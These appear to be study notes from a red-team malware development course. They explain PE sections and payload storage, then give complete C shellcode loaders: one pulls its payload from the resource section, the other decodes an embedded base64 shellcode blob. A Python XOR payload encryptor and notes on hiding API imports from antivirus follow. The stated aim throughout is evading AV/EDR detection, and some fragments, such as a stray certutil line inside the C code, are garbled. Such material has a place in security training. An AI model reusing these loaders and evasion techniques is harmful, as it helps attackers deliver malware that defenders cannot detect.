The Portable Executable (PE) format is a file format used for executables, object code, DLLs, FON font files, and other file types in 32-bit and 64-bit versions of Windows operating systems. The PE format is a data structure that encapsulates the information required by the Windows OS loader to manage the executable code. This includes dynamic library references for linking, API export and import tables, resource management data, and thread-local storage (TLS) data. In NT-based operating systems, the PE format is used for EXE, DLL, SYS (device driver), and other file types.
Key PE Sections
.text: Contains executable code (useful for malware developers).
.rdata: Contains read-only data.
.data: Contains the application’s global variables (useful for malware developers).
.pdata: Contains exception handling information.
.rsrc: Contains resources such as objects, pictures, icons, manifest files, embedded EXEs, and DLLs (useful for malware developers).
.reloc: Contains relocation information, allowing Windows loaders to properly load DLLs or EXEs into memory.
PE Bear
A Portable Executable reversing tool with a user-friendly GUI.
EXE vs. DLL
EXE (Executable)
Programs that can be loaded into memory as independent processes.
Require a main function.
DLL (Dynamic Link Library)
PE modules loaded into an existing process.
Provide functionalities required by the process.
Require a DllMain function.
The only difference between an EXE and a DLL is how they are invoked in a program.
Payload Storage
Payload Storage in PE Files
1. Dropper
A dropper is a specialized program or file (e.g., PDF, DOCX) used to deliver a payload to a target machine.
Its primary function is to bypass detection and execute the payload on the victim's system.
2. Payload
A sophisticated program designed to perform malicious actions, such as:
Deploying malware.
Establishing a reverse shell.
Disabling antivirus (AV).
Downloading/executing additional programs.
Escalating privileges.
3. Storing Payload in PE Sections
Payloads can be embedded in different sections of a Portable Executable (PE) file:
Section
Storage Method
Use Case
.text
Stored as local variables inside functions.
Executable code region; useful for hiding small payloads.
.data
Stored as global variables.
Stores writable data; payload remains accessible throughout execution.
.rsrc
Embedded as resources (e.g., icons, binaries).
Evades detection by storing payload as non-executable data.
/*
Red Team Operator course code template
storing payload in .rsrc section
author: reenz0h (twitter: @sektor7net)
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "resources.h"
int main(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
HGLOBAL resHandle = NULL;
HRSRC res;
unsigned char * payload;
unsigned int payload_len;
// Extract payload from resources section
res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
resHandle = LoadResource(NULL, res);
payload = (char *) LockResource(resHandle);
payload_len = SizeofResource(NULL, res);
// Allocate some memory buffer for payload
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Copy payload to new memory buffer
RtlMoveMemory(exec_mem, payload, payload_len);
// Make the buffer executable
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
// Launch the payload
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
Payload Encoding and Encryption
The purpose is to evade AV/EDR and make it difficult to detect
Diference between encoding and encryption
Encode: The purpose is to transform data using a public schema to and make it easy to process by software. (To decode needs to know the decode type)
Base64
Encryption: The purpose is to transform data using an encryption algorithm in order to keep it secret from others (To decrypt needs Encryption type and key)
XOR
AES
Base64 encoding
Base64 encoding is a weak and detectable, it is not recommended to use it for malware.
/*
Red Team Operator course code template
payload encoding with base64
author: reenz0h (twitter: @sektor7net)
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <Wincrypt.h>
#pragma comment (lib, "Crypt32.lib")
#certutil.exe -encode calc.bin calc.b64
unsigned char calc_payload[] = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA";
unsigned int calc_len = sizeof(calc_payload);
int DecodeBase64( const BYTE * src, unsigned int srcLen, char * dst, unsigned int dstLen ) {
DWORD outLen;
BOOL fRet;
outLen = dstLen;
fRet = CryptStringToBinary( (LPCSTR) src, srcLen, CRYPT_STRING_BASE64, (BYTE * )dst, &outLen, NULL, NULL);
if (!fRet) outLen = 0; // failed
return( outLen );
}
int main(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// Allocate new memory buffer for payload
exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Decode the payload back to binary form
DecodeBase64((const BYTE *)calc_payload, calc_len, (char *) exec_mem, calc_len);
// Make the buffer executable
rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);
// If all good, execute!
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
XOR encryption
File:xor_encrypt.py
import sys
KEY = "mysecretkeee"
def xor(data, key):
key = str(key)
l = len(key)
output_str = ""
for i in range(len(data)):
current = data[i]
current_key = key[i % len(key)]
output_str += chr(ord(current) ^ ord(current_key))
return output_str
def printCiphertext(ciphertext):
print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')
try:
plaintext = open(sys.argv[1], "rb").read()
except:
print("File argument needed! %s <raw payload file>" % sys.argv[0])
sys.exit()
ciphertext = xor(plaintext, KEY)
print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')
Decodes Base64-encoded payloads (used with CRYPT_STRING_BASE64).
Decodes obfuscated payloads.
CryptDecrypt
Decrypts AES/XOR-encrypted payloads.
Reveals original payload.
Function Call Obfuscation
Function call obfuscation is a technique used in malware development to hide calls to external functions (usually from Windows DLLs) in order to evade detection by antivirus (AV) software.
How does a normal executable work?
EXE or DLL files use external functions from system DLLs like kernel32.dll, user32.dll, etc.
These external functions are imported normally, and their names appear clearly in the Import Address Table (IAT).
AV engines analyze these imports to detect suspicious or malicious behavior.
How does AV detect malware?
AV software inspects imported DLLs and their functions. If the executable uses functions often seen in malware—such as:
VirtualAlloc
WriteProcessMemory
CreateRemoteThread
...then the AV might flag the binary as suspicious or malicious.
How Does Function Call Obfuscation Help?
To evade AV detection, malware developers avoid importing sensitive functions directly. Instead, they:
Resolve function addresses at runtime using Windows API functions:
GetModuleHandle("DLL_Name"): Returns a handle to a loaded DLL.
GetProcAddress(handle, "FunctionName"): Returns the address of a function in the specified DLL.
Listing imports using dumpbin
C:\Users\rto\Downloads\RTO Files\05.Functions_Obfuscation>dumpbin /imports implant.exe
Microsoft (R) COFF/PE Dumper Version 14.24.28316.0
Copyright (C) Microsoft Corporation. All rights reserved.
Dump of file implant.exe
File Type: EXECUTABLE IMAGE
Section contains the following imports:
KERNEL32.dll
14000D000 Import Address Table
140015538 Import Name Table
0 time date stamp
0 Index of first forwarder reference
<SNIF>
5DB VirtualProtect
<SNIF>
This tells AVs that VirtualProtect is used—which can be suspicious.
